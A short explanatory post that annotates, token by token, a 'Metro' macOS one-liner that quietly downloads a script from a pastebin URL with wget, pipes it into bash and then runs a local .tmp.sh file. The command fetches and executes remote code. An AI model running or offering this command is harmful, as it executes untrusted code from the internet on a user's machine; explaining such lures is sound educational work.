Metro macOS Exploit Explained!

Let's break down Metro.
wget -q https://pastebin.com/raw/Jw12GaEq -O- | bash; sh .tmp.sh
 ↑    ↑                 ↑                   ↑  ↑   ↑    ↑   ↑
 1    2                 3                   4  5   6    7   8
1  wget, this command is fetching #3 from the Internet.
2  -q, this is telling wget to be quiet.
3  The URL, referenced in #1.
4  -O-, put output to STDOUT, instead of to a file.
5  |, pipe the output to #6.
6  bash, the shell.
7  sh, the shell, telling it to execute #8.
8  .tmp.sh, a file, which contains code.